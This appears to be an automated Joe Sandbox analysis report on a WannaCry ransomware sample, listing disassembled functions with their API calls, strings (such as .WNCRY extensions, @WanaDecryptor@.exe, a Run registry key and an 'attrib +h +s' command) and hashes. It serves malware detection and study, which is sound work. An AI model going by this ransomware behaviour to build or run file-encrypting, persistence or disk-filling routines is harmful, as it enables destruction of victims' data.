                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: memcpy
                                      • String ID:
                                      • API String ID: 3510742995-0
                                      • Opcode ID: 132f4fc458fba4272c5fe31781ffa2b2ec65fcf531baa9b41f96b48526930d02
                                      • Instruction ID: 507edf943f6954747fb652e063bbb54c6dd3cd628c171472844fae73eabc1576
                                      • Opcode Fuzzy Hash: 132f4fc458fba4272c5fe31781ffa2b2ec65fcf531baa9b41f96b48526930d02
                                      • Instruction Fuzzy Hash: A6520CB5900609EFCB14CF69C580AAABBF1FF49315F10852EE95AA7780D338EA55CF44
                                      Function 00404C19 Relevance: 1.6, Strings: 1, Instructions: 331COMMON
                                      Download Yara Rule
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID:
                                      • String ID: WG@
                                      • API String ID: 0-1599502709
                                      • Opcode ID: 39bb7c4b20325c44dd8699449145d0d2bc85238f2d0020d1ee85a7bd7e705017
                                      • Instruction ID: 9637f4fcf05056c634a246d4ec164b1eccd92df816b65a9601eba7856632ad8a
                                      • Opcode Fuzzy Hash: 39bb7c4b20325c44dd8699449145d0d2bc85238f2d0020d1ee85a7bd7e705017
                                      • Instruction Fuzzy Hash: 36D1F5B1A002199FDF14CFA9D9805EDBBB1FF88314F25826AD959B7390D734AA41CB84
                                      Function 10004420 Relevance: 1.5, APIs: 1, Instructions: 8encryptionCOMMON
                                      Download Yara Rule
                                      APIs
                                      • CryptGenRandom.ADVAPI32(?,?,?,10005C8E,1000DC68,00000008), ref: 1000442E
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: CryptRandom
                                      • String ID:
                                      • API String ID: 2662593985-0
                                      • Opcode ID: d06b0dacaee5c54850b691ccf3e24bdfd13cabadfb239f9e5f564d51c7bd1099
                                      • Instruction ID: 910617a22df543c658d5e937306ede2f8c1cb301d3e6414bbcf59057d7a0af43
                                      • Opcode Fuzzy Hash: d06b0dacaee5c54850b691ccf3e24bdfd13cabadfb239f9e5f564d51c7bd1099
                                      • Instruction Fuzzy Hash: 8CC04C76904100FFD640DB54C988C1BB7E8BBD8740B10C508F148C3219C235DC02CB71
                                      Function 0040541F Relevance: .1, Instructions: 104COMMON
                                      Download Yara Rule
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID:
                                      • String ID:
                                      • API String ID:
                                      • Opcode ID: f53bbad7aeff0a1b6693495eaf2e1723a9e1ea82af51c52fb67f7a2539a612fb
                                      • Instruction ID: 3f72058ef88e406f14a8e4c5cd972b2546dbbe82ce95f55f9558457d0f17cbf0
                                      • Opcode Fuzzy Hash: f53bbad7aeff0a1b6693495eaf2e1723a9e1ea82af51c52fb67f7a2539a612fb
                                      • Instruction Fuzzy Hash: 8E31A133E285B207C3249EBA5C4006AF6D2AB4A125B4A8775DE88F7355E128EC96C6D4
                                      Function 100032C0 Relevance: 38.6, APIs: 12, Strings: 10, Instructions: 133COMMON
                                      Download Yara Rule
                                      APIs
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: _wcsicmp$_wcsnicmpwcsstr
                                      • String ID: This folder protects against ransomware. Modifying it will reduce protection$Content.IE5$Temporary Internet Files$\AppData\Local\Temp$\Intel$\Local Settings\Temp$\Program Files$\Program Files (x86)$\ProgramData$\WINDOWS
                                      • API String ID: 2817753184-2255769345
                                      • Opcode ID: 6cfffdfc71b6d1416cfc2fc1491a62cd526dfb3bccc185a7816e0e1a3bc15258
                                      • Instruction ID: 38e0f07987acc90c5f2470768db190762cea25da07dd160877f69bc08099ee56
                                      • Opcode Fuzzy Hash: 6cfffdfc71b6d1416cfc2fc1491a62cd526dfb3bccc185a7816e0e1a3bc15258
                                      • Instruction Fuzzy Hash: E7318F3375166522F211E21DAC81FCB138CDFA52E7F028033FE44E5144E74AAAAA86B1
                                      Function 10003410 Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 72libraryloaderCOMMON
                                      Download Yara Rule
                                      APIs
                                      • LoadLibraryA.KERNEL32(kernel32.dll,7678A710,10005BA1), ref: 10003433
                                      • GetProcAddress.KERNEL32(00000000,CreateFileW), ref: 10003450
                                      • GetProcAddress.KERNEL32(00000000,WriteFile), ref: 1000345D
                                      • GetProcAddress.KERNEL32(00000000,ReadFile), ref: 1000346A
                                      • GetProcAddress.KERNEL32(00000000,MoveFileW), ref: 10003477
                                      • GetProcAddress.KERNEL32(00000000,MoveFileExW), ref: 10003484
                                      • GetProcAddress.KERNEL32(00000000,DeleteFileW), ref: 10003491
                                      • GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 1000349E
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: AddressProc$LibraryLoad
                                      • String ID: CloseHandle$CreateFileW$DeleteFileW$MoveFileExW$MoveFileW$ReadFile$WriteFile$kernel32.dll
                                      • API String ID: 2238633743-1294736154
                                      • Opcode ID: 944c07b6a276cea25272870ffcbc7163b6e1cefb521ad04e65f91ac777977517
                                      • Instruction ID: cf0c78403fd2c3fefe85ed3b1817818ef30dc00b537cc7000bee59f2d7a133bb
                                      • Opcode Fuzzy Hash: 944c07b6a276cea25272870ffcbc7163b6e1cefb521ad04e65f91ac777977517
                                      • Instruction Fuzzy Hash: C7111234A132256AFB56FB25AC94EBF27D9FF857C0302402BE501D725CDB65A841CA60
                                      Function 0040170A Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 65libraryloaderCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 00401A45: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00401711), ref: 00401A5A
                                        • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptAcquireContextA), ref: 00401A77
                                        • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptImportKey), ref: 00401A84
                                        • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptDestroyKey), ref: 00401A91
                                        • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptEncrypt), ref: 00401A9E
                                        • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptDecrypt), ref: 00401AAB
                                        • Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptGenKey), ref: 00401AB8
                                      • LoadLibraryA.KERNEL32(kernel32.dll), ref: 0040172C
                                      • GetProcAddress.KERNEL32(00000000,CreateFileW), ref: 00401749
                                      • GetProcAddress.KERNEL32(00000000,WriteFile), ref: 00401756
                                      • GetProcAddress.KERNEL32(00000000,ReadFile), ref: 00401763
                                      • GetProcAddress.KERNEL32(00000000,MoveFileW), ref: 00401770
                                      • GetProcAddress.KERNEL32(00000000,MoveFileExW), ref: 0040177D
                                      • GetProcAddress.KERNEL32(00000000,DeleteFileW), ref: 0040178A
                                      • GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00401797
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: AddressProc$LibraryLoad
                                      • String ID: CloseHandle$CreateFileW$DeleteFileW$MoveFileExW$MoveFileW$ReadFile$WriteFile$kernel32.dll
                                      • API String ID: 2238633743-1294736154
                                      • Opcode ID: 39239a652de09aa7f9a0fc3aed99621d6525255b515761ed1c17c464bdaba5bf
                                      • Instruction ID: c344c10c919c95db3ecd10b94979b50738023765c799e55a58251b06a1d00095
                                      • Opcode Fuzzy Hash: 39239a652de09aa7f9a0fc3aed99621d6525255b515761ed1c17c464bdaba5bf
                                      • Instruction Fuzzy Hash: D9118E729003059ACB30BF73AE84A577AF8A644751B64483FE501B3EF0D77894499E1E
                                      Function 10005190 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 117filesleepmemoryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetDriveTypeW.KERNEL32(00000000,00000001,00000000,00000000), ref: 100051C0
                                      • GlobalAlloc.KERNEL32(00000000,00A00000), ref: 100051D6
                                        • Part of subcall function 10005120: swprintf.MSVCRT(?,%s\hibsys%s,?,.WNCRYT), ref: 1000516A
                                        • Part of subcall function 10005120: DeleteFileW.KERNEL32(?), ref: 10005174
                                      • CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000002,00000000), ref: 1000522C
                                      • GlobalFree.KERNEL32(00000000), ref: 1000523A
                                      • MoveFileExW.KERNEL32(?,00000000,00000004,771B3300), ref: 10005254
                                      • GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 1000527D
                                      • WriteFile.KERNEL32(00000000,00000000,00A00000,?,00000000), ref: 100052A9
                                      • Sleep.KERNEL32(0000000A), ref: 100052B5
                                      • Sleep.KERNEL32(00002710), ref: 100052C2
                                      • GlobalFree.KERNEL32(00000000), ref: 100052CE
                                      • FlushFileBuffers.KERNEL32(00000000), ref: 100052D5
                                      • CloseHandle.KERNEL32(00000000), ref: 100052DC
                                      • DeleteFileW.KERNEL32(?), ref: 100052E7
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: File$FreeGlobal$DeleteSleep$AllocBuffersCloseCreateDiskDriveFlushHandleMoveSpaceTypeWriteswprintf
                                      • String ID: :\$UUUU
                                      • API String ID: 3329057766-2502105546
                                      • Opcode ID: b42e683e316584ab492aa5f58972f8961f4bf75bae1380fa580a2c89d59e7ee4
                                      • Instruction ID: c3553bfb2ce832e5e524584dfb39294b6681cea42b2672b67cd9b1e4f92b37f1
                                      • Opcode Fuzzy Hash: b42e683e316584ab492aa5f58972f8961f4bf75bae1380fa580a2c89d59e7ee4
                                      • Instruction Fuzzy Hash: 6241A031604311ABF300EB64DC89FAF77E9FF85791F100A29FA45861D4EB79E9488762
                                      Function 10002D60 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 108COMMON
                                      Download Yara Rule
                                      APIs
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: _wcsicmp$wcsrchr
                                      • String ID: .WNCRY$.WNCRYT$.WNCYR$.dll$.exe
                                      • API String ID: 2496260227-3981601049
                                      • Opcode ID: 5903ff2edf89349bd2686ef71d84bc7708304c14f2e0e0755f497b2b138f29db
                                      • Instruction ID: c174833711b2fb1714a36c3f2b07131fd7d14ecb9d1a9f70295dd6690f64d7bf
                                      • Opcode Fuzzy Hash: 5903ff2edf89349bd2686ef71d84bc7708304c14f2e0e0755f497b2b138f29db
                                      • Instruction Fuzzy Hash: B8218E3264025153F620D229ED84F976398CBD46F6F05803BEE08D6248E729EC6AD175
                                      Function 10005060 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 62COMMON
                                      Download Yara Rule
                                      APIs
                                      • GetWindowsDirectoryW.KERNEL32(?,00000104,?,?), ref: 10005075
                                      • GetTempPathW.KERNEL32(00000104,?), ref: 10005094
                                      • wcslen.MSVCRT ref: 100050A1
                                      • wcslen.MSVCRT ref: 100050AB
                                      • wcslen.MSVCRT ref: 100050B9
                                      • swprintf.MSVCRT(?,%C:\%s,?,$RECYCLE), ref: 100050DC
                                      • CreateDirectoryW.KERNEL32(?,00000000), ref: 100050E8
                                      • sprintf.MSVCRT ref: 100050FE
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: wcslen$Directory$CreatePathTempWindowssprintfswprintf
                                      • String ID: $RECYCLE$$RECYCLE$%C:\%s$attrib +h +s %C:\%s
                                      • API String ID: 3936433386-879418404
                                      • Opcode ID: 0b1339ff9ccf8e90c4efee76c57af1fa94f7e944c16739319b4056cf68cb0408
                                      • Instruction ID: 53406f09da6477a7470ce20e768b81243a585eb0d3560c4a70511fa70a1d7675
                                      • Opcode Fuzzy Hash: 0b1339ff9ccf8e90c4efee76c57af1fa94f7e944c16739319b4056cf68cb0408
                                      • Instruction Fuzzy Hash: EC110671A00620A7F320E7189C8AFCF37A8EFC4785F414419F749A2188E779610987EB
                                      Function 00401B5F Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 123COMMON
                                      Download Yara Rule
                                      APIs
                                      • MultiByteToWideChar.KERNEL32(00000000,00000000,qqdbarezh013,000000FF,?,00000063), ref: 00401BCA
                                      • GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00401BDD
                                      • swprintf.MSVCRT(?,%s\ProgramData,?), ref: 00401C04
                                      • GetFileAttributesW.KERNEL32(?), ref: 00401C10
                                      • swprintf.MSVCRT(?,%s\Intel,?), ref: 00401C53
                                      • GetTempPathW.KERNEL32(00000104,?), ref: 00401C97
                                      • wcsrchr.MSVCRT ref: 00401CAC
                                      • wcsrchr.MSVCRT ref: 00401CBD
                                        • Part of subcall function 00401AF6: CreateDirectoryW.KERNEL32(?,00000000), ref: 00401B07
                                        • Part of subcall function 00401AF6: SetCurrentDirectoryW.KERNEL32(?), ref: 00401B12
                                        • Part of subcall function 00401AF6: CreateDirectoryW.KERNEL32(?,00000000), ref: 00401B1E
                                        • Part of subcall function 00401AF6: SetCurrentDirectoryW.KERNEL32(?), ref: 00401B21
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3703105494.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000000.00000002.3702848666.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703205612.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703311594.000000000040E000.00000008.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703395638.000000000040F000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3703539643.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707667406.000000000075A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.3707840475.000000000075B000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_400000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Directory$CreateCurrentswprintfwcsrchr$AttributesByteCharFileMultiPathTempWideWindows
                                      • String ID: %s\Intel$%s\ProgramData$qqdbarezh013
                                      • API String ID: 3806094219-473819855
                                      • Opcode ID: e04e666ac5ff563214b472014ed4c30e25de200c4a7bf1775954a8b15fda063a
                                      • Instruction ID: 4ac525b1174630586dc3f01422198d44c3eaba501bd80531e66e43f198221a67
                                      • Opcode Fuzzy Hash: e04e666ac5ff563214b472014ed4c30e25de200c4a7bf1775954a8b15fda063a
                                      • Instruction Fuzzy Hash: 2C41447294021DAAEF609BA0DD45FDA777CAF04310F1045BBE608F71E0EA74DA888F59
                                      Function 10004890 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 77processCOMMON
                                      Download Yara Rule
                                      APIs
                                        • Part of subcall function 10001360: AllocateAndInitializeSid.ADVAPI32(?,?,?,?,?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,7678F130), ref: 1000139C
                                      • GetFullPathNameA.KERNEL32(@WanaDecryptor@.exe,00000208,?,00000000), ref: 100048D3
                                      • sprintf.MSVCRT ref: 100048F0
                                      • CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,@WanaDecryptor@.exe,00000000,00000000,00000000), ref: 1000495F
                                      • CloseHandle.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,@WanaDecryptor@.exe,00000000), ref: 10004975
                                      • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,@WanaDecryptor@.exe,00000000,00000000), ref: 1000497C
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: CloseHandle$AllocateCreateFullInitializeNamePathProcesssprintf
                                      • String ID: %s %s$@WanaDecryptor@.exe$D$taskse.exe
                                      • API String ID: 2559560889-706467931
                                      • Opcode ID: 6b57f88f8648c87f5cce99d721361efec0e800680af71fc62602de8dc9799cd0
                                      • Instruction ID: da2b5c8f2d4d4c2c4f6f077ca43ea13af02608b477977752943c90fd70028696
                                      • Opcode Fuzzy Hash: 6b57f88f8648c87f5cce99d721361efec0e800680af71fc62602de8dc9799cd0
                                      • Instruction Fuzzy Hash: EF218871508341AEF300DB64CC54B9BB7E8EFC4784F01881EF68897295DB75D5048B62
                                      Function 10002BA0 Relevance: 15.1, APIs: 10, Instructions: 133fileCOMMON
                                      Download Yara Rule
                                      APIs
                                      • wcslen.MSVCRT ref: 10002BD9
                                      • EnterCriticalSection.KERNEL32(?,?,10006E59,000000FF,100022E7,?), ref: 10002BFA
                                      • wcslen.MSVCRT ref: 10002C15
                                      • ?_Grow@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAE_NI_N@Z.MSVCP60(00000000,00000001), ref: 10002C23
                                      • ??2@YAPAXI@Z.MSVCRT ref: 10002C57
                                      • LeaveCriticalSection.KERNEL32(?), ref: 10002CB8
                                        • Part of subcall function 10003010: GetFileAttributesW.KERNELBASE(?,7678A390,?,?,10002BEC,?,?,?,10006E59,000000FF,100022E7,?), ref: 10003025
                                      • ??3@YAXPAX@Z.MSVCRT ref: 10002CD6
                                      • LeaveCriticalSection.KERNEL32(?), ref: 10002CE3
                                      • wcslen.MSVCRT ref: 10002D04
                                      • DeleteFileW.KERNEL32(?,?,10006E59,000000FF,100022E7,?), ref: 10002D12
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: CriticalSectionwcslen$FileLeave$??2@??3@AttributesDeleteEnterG@2@@std@@G@std@@Grow@?$basic_string@U?$char_traits@V?$allocator@
                                      • String ID:
                                      • API String ID: 784962118-0
                                      • Opcode ID: dbc25d4a253f7c7ee7b49fd99d0f6ce35ee46452017f4d27dde0f329af712c4f
                                      • Instruction ID: 8929200894a3d3d60aeee8930b19ad4408a44741c7842358e38e4ad24ebd9cab
                                      • Opcode Fuzzy Hash: dbc25d4a253f7c7ee7b49fd99d0f6ce35ee46452017f4d27dde0f329af712c4f
                                      • Instruction Fuzzy Hash: 2341BEB29047409BE304DF28CC80AAFF7E9FF88294F44492DF58A83745E735A915CB62
                                      Function 100014A0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 85COMMON
                                      Download Yara Rule
                                      APIs
                                      Strings
                                      • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 100014AE
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.3719761068.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000000.00000002.3719729693.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719787326.0000000010007000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719819751.000000001000C000.00000004.00001000.00020000.00000000.sdmpDownload File
                                      • Associated: 00000000.00000002.3719857363.000000001000E000.00000002.00001000.00020000.00000000.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_10000000_ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.jbxd
                                      Similarity
                                      • API ID: rand$wcslen$ComputerNamesrand
                                      • String ID: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
                                      • API String ID: 3058258771-3674288975
                                      • Opcode ID: c011ee3e19930f07226b05525630f8276d34537d1db21e69fd792623f7418817
                                      • Instruction ID: 6bdad6a71d273d2ba545fc7a1d4ce55d05bb8ce7e3220b07caf5c040d7fd5cbd
                                      • Opcode Fuzzy Hash: c011ee3e19930f07226b05525630f8276d34537d1db21e69fd792623f7418817
                                      • Instruction Fuzzy Hash: F2213D3150475587F311DB18DC817DBB3D5EBC5750F01092DE99A87285E639990F87B3
                                      Function 00401AF6 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 45COMMON
                                      Download Yara Rule
                                      APIs
                                      • CreateDirectoryW.KERNEL32(?,00000000), ref: 00401B07
                                      • SetCurrentDirectoryW.KERNEL32(?), ref: 00401B12
                                      • CreateDirectoryW.KERNEL32(?,00000000), ref: 00401B1E
                                      • SetCurrentDirectoryW.KERNEL32(?), ref: 00401B21
                                      • GetFileAttributesW.KERNEL32(?), ref: 00401B2C
                                      • SetFileAttributesW.KERNEL32(?,00000000), ref: 00401B36
                                      • swprintf.MSVCRT(?,%s\%s,?,?), ref: 00401B4E
